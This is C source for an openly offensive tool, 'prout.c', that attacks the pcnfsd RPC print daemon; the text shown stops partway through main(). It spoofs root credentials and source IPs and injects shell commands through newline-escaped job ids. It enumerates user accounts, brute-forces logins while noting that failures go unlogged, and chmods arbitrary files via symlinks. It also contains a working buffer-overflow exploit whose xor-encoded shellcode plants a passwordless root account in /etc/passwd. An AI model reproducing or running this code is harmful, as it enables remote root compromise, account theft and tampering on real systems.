/*

 prout.c : (ab)use of pcnfs RPC program (version 2 only).
 
 [part of the rpc project, 981007]

 happy birthday route..

						ga <duncan@mygale.org>

*/

//#include <disclaimer.h>
#include <string.h>			// strcpy and co
#include <stdio.h>
#include <stdlib.h>			// malloc, free, strtol
#include <signal.h>			// signal(), alarm()
#include <unistd.h>			// getopt, getuid, geteuid
#include <errno.h>			// perror
#include <netdb.h>			// gethostbyname
#include <sys/time.h>
#include <sys/types.h>			
#include <sys/socket.h>			// socket interface
#include <linux/socket.h>		
#include <linux/in.h>			// ip protocol (IPPROTO_*)

#define LEN_HDR_IP	20
#define LEN_HDR_UDP	8
#define LEN_HDR_RPC	24
#define LEN_AUTH_UNIX   72+12		// length authentification field
					// (credentials=null) plus
					// length hostname%4 ("localhost")

#define ROUND_VALUE(value) (value/4+(value%4?1:0))

int ctimeout;
int verbose=0;

struct ip_hdr				// 20
{
        unsigned char      ver;
        unsigned char      tos;
        unsigned short int length;
        unsigned short int identification;
        unsigned short int fragoff;
        unsigned char      ttl;
        unsigned char      protocol;
        unsigned short int checksum;
        unsigned long  int sip;
        unsigned long  int dip;
};

struct udp_hdr				// 8
{
	unsigned short int sport;
	unsigned short int dport;
	unsigned short int length;
	unsigned short int checksum;
};

// RPC common hdr

struct rpc_hdr				// 24
{       unsigned long  xid;
        unsigned long  type_msg;
        unsigned long  version_rpc;
        unsigned long  prog_id;
        unsigned long  prog_ver;
        unsigned long  prog_proc;
};

// RPC pcnfsd call args

struct pr_cancel_args			// 722(4)
{
	unsigned long  len_pn;
	char           printername[64];
	unsigned long  len_clnt;
	char           name[64];
	unsigned long  len_username;
	char           username[64];
	unsigned long  len_printerjobid;
	char           printerjobid[255];
	unsigned long  len_comments;
	char           comments[255];
};
#define LEN_HDR_PCN_CANCEL	sizeof(struct pr_cancel_args)

struct pr_mapid_args
{
        unsigned long  len_comments;
	char           comments[255];
        unsigned long  req_list;
	unsigned long  mapreq;
	unsigned long  uid;
	unsigned long  len_username;
	char           username[64];
	unsigned long  mapreqnext;		
};
#define LEN_HDR_PCN_MAPID	sizeof(struct pr_mapid_args)

struct pr_auth_args
{
	unsigned long  len_clnt;
	char           name[64];
	unsigned long  len_id;
	char           id[32];
        unsigned long  len_passwd;
        char           passwd[64];
        unsigned long  len_comments;
	char           comments[255];
};
#define LEN_HDR_PCN_AUTH	sizeof(struct pr_auth_args)

struct pr_init_args {
        unsigned long  len_clnt;
        char           name[64];
        unsigned long  len_pn;
        char           printername[64];
        unsigned long  len_comments;
        char           comments[255];
};
#define LEN_HDR_PCN_INIT        sizeof(struct pr_init_args)

struct pr_info_args {
	unsigned long  len_version;
	char           version[255];
	unsigned long  len_comments;
	char           comments[255];
};
#define LEN_HDR_PCN_INFO        sizeof(struct pr_info_args)


void handler_timeout(int foo)
{
   alarm(0);
   ctimeout=1;
}

void set_alarm()
{
   alarm(10);
   ctimeout=0;
}

int readfd(fd, buffer, sizeb)
int fd;
char *buffer;
int sizeb;
{
int nb;

   signal(SIGALRM, handler_timeout);
   set_alarm();
   
   while(1) {
      
      nb=read(fd, (char *)buffer, sizeb);
      
      if (ctimeout) {
         ctimeout--;
         close(fd);
	 fprintf(stderr, "udp answer timeout\n");
         return -2;
      }

      if (nb<0) {  
         perror("read");
         close(fd);
         return -1;
      }
      else break;
   }
   alarm(0);
   return nb;
}

// PR_AUTH uses xor-crypted login/passwd
void crypt_xor(dest_str, source_str)
char *dest_str;
char *source_str;
{
  while (*source_str)
  {
     *dest_str++=(*source_str^0x5b) & 0x7f;
     source_str++;
  }
  *dest_str=0;
}


// It's ugly.. I know.
void dump_packet(unsigned char *pkt, int lenpkt)
{
register int m;
register int n;
register unsigned char *data;

   printf("(%d bytes)\n", lenpkt);

   data=pkt;
   for (m=0;m<lenpkt;m++) {
      if( (!(m%2)) && (m!=0) ) putchar(' ');
      if( (!(m%8)) && (m!=0) ) {
	 n=m;
         for (n=8;n>0;n--) {
            if ((*(data+m-n)>31) && (*(data+m-n)<127)) 
 		 printf("%c", *(data+m-n));
            else 
               putchar('.');   
	 }
         putchar('\n');
      }         
      printf("%02x",*(data+m));
   }
   for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
       ;m++) putchar(' ');   
   for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++) {
            if ((*(data+m)>31) && (*(data+m)<127)) 
 		 printf("%c", *(data+m));
            else 
               putchar('.');   
   }      
   printf("\n\n");
}

// humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
int make_raw_socket()
{
int s;
int opt=1;

   if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
      perror("socket");
      return -1;
   }
   if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) {
      perror("setsockopt IP_HDRINCL");
      return -1;
   }
   return s;
}

// spoof of the RPC auth unix authentification
void make_auth_unix(authptr)
unsigned long *authptr;
{
struct timeval tv;

   gettimeofday(&tv, (struct timezone *) NULL);
   
   *(  authptr)=htonl(1);				       // auth unix
   *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       // length auth
   *(++authptr)=htonl(tv.tv_sec);			       // local time
   *(++authptr)=htonl(9);	        	               // length host
   strcpy((char *)++authptr, "localhost");                     // hostname
   authptr+=(3);					       // len(host)%4
   *(  authptr)=htonl(0);				       // uid root
   *(++authptr)=htonl(0);				       // gid root
   *(++authptr)=htonl(9);				       // 9 gid grps
   // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
   *(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
   *(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
   *(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
}


unsigned long int resolve_host_name(char *hname)
{
   unsigned long inetaddr;
   struct  hostent *h_ent;
   
   if ((inetaddr=inet_addr(hname))==-1) {
      if (!(h_ent=gethostbyname(hname))) {
         fprintf(stderr, "can't resolve host %s\n", hname);
         exit(1);
      }
      bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);   
   }
   return(inetaddr);
}

/*

 Execute a command with the id of a user on a remote system.

 It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
 check all the escaped shell charaters. Therefore, it's possible to execute a 
 "command" using the escape shell character '\n' (phf bug..).

 "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/" 
 otherwise pcnfs daemon rejects the call.

*/

int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
printername, command)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
char *username;
char *printername;
char *command;
{
int raws;
unsigned long *authp;

struct ip_hdr           *iph;
struct udp_hdr          *udph;
struct rpc_hdr          *rpch;
struct pr_cancel_args   *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   iph=      (struct ip_hdr*)         (pkt);
   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
   prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                          +LEN_AUTH_UNIX);

   iph->ver=0x45;
   iph->length=htons(lenpkt);
   iph->identification=htons(0x6761);
   iph->ttl=0xff;
   iph->protocol=IPPROTO_UDP;
   iph->checksum=htons(0);			  // OS will do it for us..
   iph->sip=sip;
   iph->dip=dip;
   udph->sport=htons(sport);
   udph->dport=htons(dport);
   udph->length=htons(lenpkt-LEN_HDR_IP);
   udph->checksum=htons(0);			  // XXX no udp checksum
   rpch->xid=htonl(0x67616761);			  //     it has to be done..
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(7);			  // PCNFSD_PROC_PRCANCEL
   prh->len_pn           =htonl(63);
   prh->len_clnt         =htonl(63);
   prh->len_username     =htonl(63);
   prh->len_printerjobid =htonl(254);
   prh->len_comments     =htonl(254);
   strcpy(prh->printername,  printername);
   strcpy(prh->username,     username);
   strcpy(prh->name,         "localhost");
   strcpy(prh->printerjobid, "whocares");
   prh->printerjobid[7]='\n';
   strcpy(&prh->printerjobid[8], command);
   prh->printerjobid[7+strlen(command)+1]='\n';
   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

   make_auth_unix(authp);

   if ((raws=make_raw_socket())==-1) {
      return -1;
   }

   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(911);			// whatever
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(raws);
      return -1;
   }

   if (verbose) dump_packet(pkt, lenpkt);
   
   close(raws);
   return 0;
}

/*

 Retrieve remotely all logins (with uid) from a system.
 It's part of the pcnfsd implementation.

*/

int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
int lo_uid;
int up_uid;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];

struct rpc_hdr         *rpch;
struct pr_mapid_args   *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   rpch=     (struct rpc_hdr*)        (pkt);
   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
   prh=      (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(12);		            // PCNFSD_PROC_PRMAPID
   prh->len_comments     =htonl(254);
   prh->req_list	 =htonl(1);		    // only one req_list
   prh->mapreq           =htonl(0);                 // MAP_REQ_UID
   prh->len_username     =htonl(63);
   prh->mapreqnext       =htonl(0);		    // end req_list

   make_auth_unix(authp);

   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
      perror("socket");
      return -1;
   };
                        
   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(dport);
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   for (lo_uid; lo_uid<=up_uid;lo_uid++) {

      prh->uid=htonl(lo_uid);
      
      if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                        sizeof(struct sockaddr)))==-1) {
         perror("send");
         close(sock);
         return -1;
      }   

      if (verbose) dump_packet(pkt, lenpkt);

      signal(SIGALRM, handler_timeout);
      set_alarm();

      while(1) {
         nbytes=read(sock, (char *)ansrpc, 1024);
         if (ctimeout) {
	    fprintf(stderr, "uid %i : udp packet lost or no answer from "
	                    "the server\n", lo_uid);
            break;
         }
         if (nbytes<0) {  
            perror("read");
            close(sock);
            return -1;
         }
         else break;
      }
      alarm(0);

      if (!ctimeout) {
      
         if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
            fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
            close(sock);
            return -1;
         }   

         if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
      
         if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
            printf("uid %i, user %s\n",
                  ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
                  (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);

      }
   }   
   close(sock);
   return 0;
}

/*

 Return a list of available printers on the server.

*/

int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
{
int nbytes, sock;
unsigned long *authp;
unsigned long buffer[256];
unsigned long *ansrpc;

struct rpc_hdr         *rpch;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   rpch=     (struct rpc_hdr*)        (pkt);
   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);

   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(4);			    // PCNFSD_PROC_PRLIST

   make_auth_unix(authp);

   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
      perror("socket");
      return -1;
   };
                        
   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(dport);
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(sock);
      return -1;
   }   

   if (verbose) dump_packet(pkt, lenpkt);

   if ((nbytes=readfd(sock, (char *)buffer, 1024))<0) 
      return -1;

   if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) ) {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
   }   

   if (verbose) dump_packet((unsigned char*)buffer, nbytes);

   ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];

   printf("printer list (printer name, device, comment):\n");

   while(ansrpc[0]==htonl(1)) {
      ansrpc++;
      if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
      else printf("- , ");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
      if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
      else printf("- , ");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // skip client name
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
      if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
      else printf("\n");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // next list
   }

   close(sock);
   return 0;
}

/*

 Try to guess a combination login/passwd.
 It's part of the pcnfsd implementation.

 A failed attempt is _not_ logged but a successful one is logged in
 wtmp (/usr/adm/wtmp)

*/

int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
char *username;
char *password;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];

struct rpc_hdr         *rpch;
struct pr_auth_args    *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   rpch=     (struct rpc_hdr*)       (pkt);
   authp=    (unsigned long *)       (pkt+LEN_HDR_RPC);
   prh=      (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(13);		            // PCNFSD_PROC_PRAUTH
   prh->len_clnt         =htonl(63);
   prh->len_id           =htonl(31);
   prh->len_passwd       =htonl(63);
   prh->len_comments     =htonl(254);

   strcpy(prh->comments,  "kill -9 `pidof rpc.pcnfsd` ?");
   strcpy(prh->name,      "localhost");
   crypt_xor(prh->id,        username);
   crypt_xor(prh->passwd,    password);

   make_auth_unix(authp);

   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
      perror("socket");
      return -1;
   };
                        
   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(dport);
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(sock);
      return -1;
   }   

   if (verbose) dump_packet(pkt, lenpkt);

   if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0) 
      return -1;

   if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
   }   

   if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
      
   if (ntohl(ansrpc[6])==0)
      fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
              username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
   else 
      fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
              username, password);

   close(sock);
   return 0;
}

/*

 Execute a command as root on the system using a buffer overrun.
 Another one ..
 
 Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
 3.5 (unpatched one). The return address may change with distribs..

 If the overflow is successful, then /etc/passwd has the new entry :
 	
 	"prout::0:0::/:/bin/sh"

*/

int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
{
int raws;
unsigned long *authp;

struct ip_hdr           *iph;
struct udp_hdr          *udph;
struct rpc_hdr          *rpch;
struct pr_cancel_args   *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

// buffer overflow data

#define RETADDR   0xbffff740	// return address for pcnfsd
				// @(#)pcnfsd_print.c      1.12    1/29/93
				// used on slackware 3.1 but with code of
				// rpc.pcnfsd shipped with slackware 3.5 (not
				// patched). This value may be different for
				// other linux distribs.
#define BUFFSIZE  250		// no more, no less

int off;
unsigned char *bover;
unsigned long *boverl;

char execode[100]=				// [asm code (linux x86 only)]
     "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
     "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
     "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
     "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
     "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" //  ";|&<>`'#!?*()[]^/" and 0s
     "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
     "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
     "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
     "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
     "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
     						// adds the new entry 
     						// "prout::0:0::/:/bin/sh\n"
     						// in /etc/passwd
						// and then it exits cleanly
						     
   iph=      (struct ip_hdr*)         (pkt);
   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
   prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                          +LEN_AUTH_UNIX);

// set up code of buffer overflow

   bover=(unsigned char *)&(prh->printerjobid);

   for (off=0; off<(BUFFSIZE/2); off++)	   // 125 non operates
      *(bover++)= 0x90;			   // (x86 nop operand) Hello noppie.

   for (off=0; off<sizeof(execode); off++) // 100 bytes of code
      *(bover++)= execode[off];		   // stick our asm code in the buffer

   boverl=(unsigned long *)bover;

   for (off=0; off<8; off++) 		   // 7 unsigned long RETADDR
      *(boverl+off)=RETADDR;               // our return address (on stack)
   
// set up IP packet

   iph->ver=0x45;
   iph->length=htons(lenpkt);
   iph->identification=htons(0x6761);
   iph->ttl=0xff;
   iph->protocol=IPPROTO_UDP;
   iph->checksum=htons(0);			   // OS will do it for us
   iph->sip=sip;
   iph->dip=dip;
   udph->sport=htons(sport);
   udph->dport=htons(dport);
   udph->length=htons(lenpkt-LEN_HDR_IP);
   udph->checksum=htons(0);			   // XXX no udp checksum
   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(7);			   // PCNFSD_PROC_PRCANCEL
   prh->len_pn           =htonl(63);
   prh->len_clnt         =htonl(63);
   prh->len_username     =htonl(63);
   prh->len_printerjobid =htonl(254);
   prh->len_comments     =htonl(254);
   strcpy (prh->printername,  "lp");		   // we assume "lp" is a good
   strcpy (prh->username,     "nobody");	   // printer
   strcpy (prh->name,         "localhost");
   strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");

   make_auth_unix(authp);

   if ((raws=make_raw_socket())==-1) {
      return -1;
   }

   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(911);			// whatever
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(raws);
      return -1;
   }

   if (verbose) dump_packet(pkt, lenpkt);
   
   close(raws);
   return 0;
}

/*

 A local user can chmod(777) any files in the pcnfsd directory (including the
 pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg). 
 
 Therefore, using a symlink, a user can chmod(777) any files on the system.

*/

int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
char *filename;
{
int sock;
unsigned long *authp;

struct rpc_hdr          *rpch;
struct pr_init_args     *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   rpch=     (struct rpc_hdr*)        (pkt);
   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
   prh=      (struct pr_init_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(2);			   // PCNFSD_PROC_PRINIT
   prh->len_clnt         =htonl(63);
   prh->len_pn           =htonl(63);
   prh->len_comments     =htonl(254);
   strcpy(prh->printername,  "lp");                // PR_INIT doesn't check it
   						   // anyway
   strcpy(prh->name,         filename);
   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

   make_auth_unix(authp);

   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
      perror("socket");
      return -1;
   };

   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(dport);
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(sock);
      return -1;
   }   
                        
   if (verbose) dump_packet(pkt, lenpkt);
   
   close(sock);
   return 0;
}

/*

 Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.

*/

int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
char *filename;
{
int raws;
unsigned long *authp;

struct ip_hdr           *iph;
struct udp_hdr          *udph;
struct rpc_hdr          *rpch;
struct pr_init_args     *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   iph=      (struct ip_hdr*)         (pkt);
   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
   prh=      (struct pr_init_args *)  (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                          +LEN_AUTH_UNIX);

   iph->ver=0x45;
   iph->length=htons(lenpkt);
   iph->identification=htons(0x6761);
   iph->ttl=0xff;
   iph->protocol=IPPROTO_UDP;
   iph->checksum=htons(0);			   // OS will do it for us
   iph->sip=sip;
   iph->dip=dip;
   udph->sport=htons(sport);
   udph->dport=htons(dport);
   udph->length=htons(lenpkt-LEN_HDR_IP);
   udph->checksum=htons(0);			   // XXX no udp checksum, not
   rpch->xid=htonl(0x67616761);			   //     reliable over inet.
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(2);			   // PCNFSD_PROC_PRINIT
   prh->len_clnt         =htonl(63);
   prh->len_pn           =htonl(63);
   prh->len_comments     =htonl(254);
   strcpy(prh->printername,  "lp");                // whatever
   strcpy(prh->name,         filename);
   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

   make_auth_unix(authp);

   if ((raws=make_raw_socket())==-1) {
      return -1;
   }

   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(911);			// whatever
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(raws);
      return -1;
   }

   if (verbose) dump_packet(pkt, lenpkt);
   
   close(raws);
   return 0;
}

/*

 A (remote) user can retrieve the version of the running pcnfs daemon.
 
 If a buffer overrun exists in the pcnfs daemon then, using the version info, 
 an evil user can guess the good return address to put on the stack (this value
 directly depends on the version of pcnfs).

*/

int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];

struct rpc_hdr          *rpch;
struct pr_info_args     *prh;

struct sockaddr_in s_in;
struct sockaddr    *sa=(struct sockaddr*)&s_in;

   rpch=     (struct rpc_hdr*)        (pkt);
   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
   prh=      (struct pr_info_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

   rpch->xid=htonl(0x67616761);
   rpch->type_msg=htonl(0);
   rpch->version_rpc=htonl(2);
   rpch->prog_id=htonl(150001);
   rpch->prog_ver=htonl(2);
   rpch->prog_proc=htonl(1);			   // PCNFSD_PROC_PRINFO
   prh->len_version      =htonl(254);
   prh->len_comments     =htonl(254);
   strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");

   make_auth_unix(authp);

   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
      perror("socket");
      return -1;
   };

   bzero((char *)&s_in, sizeof(s_in));
   s_in.sin_family=AF_INET;
   s_in.sin_port=htons(dport);
   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                                     sizeof(struct sockaddr)))==-1) {
      perror("send");
      close(sock);
      return -1;
   }   
                        
   if (verbose) dump_packet(pkt, lenpkt);

   if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0) 
      return -1;

   if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
   }   

   if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

   if (ntohl(ansrpc[6])!=0)
      printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);
   
   close(sock);
   return 0;
}


void usage(char *progname)
{
   fprintf(stderr, "help : %s -h\n", progname);
   exit(0);
}

void option(char *progname)
{
   fprintf(stderr, "%s :\n", progname);  
   fprintf(stderr, "      -i   (infos about %s)\n", progname);
   fprintf(stderr, "      -s   (infos about system on which %s was tested)\n"
   			                		         ,progname);
   fprintf(stderr, "      -v   verbose mode (dumps sent/received packets)\n");
   fprintf(stderr, "      -p   destip destport (retrieve printer list)\n");
   fprintf(stderr, "      -w   destip destport (retrieve pcnfs version)\n");
   fprintf(stderr, "      -a   destip destport user passwd\n");
   fprintf(stderr, "      -u   destip destport lower_uid upper_uid\n");
   fprintf(stderr, "      -fl  destip destport filename\n");
   fprintf(stderr, "      -fs  sourceip sourceport destip destport filename"
                   "           \n");
   fprintf(stderr, "      -c   sourceip sourceport destip destport username"
                             " printername command\n");
   fprintf(stderr, "      -o   sourceip sourceport destip destport\n");
   fprintf(stderr, "      -h   scroll up your term about 10 lines\n");
   exit(0);   
}
                                                              
main(int argc,char **argv)
{
int lenpacket, arg;
int flag=0;
unsigned char *packet;

   while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF) {

      switch(arg) {
         case 'p':
            if ((argc-optind)!=2) option(argv[0]);
            lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
            flag=1;
            break;
         case 'w':
            if ((argc-optind)!=2) option(argv[0]);
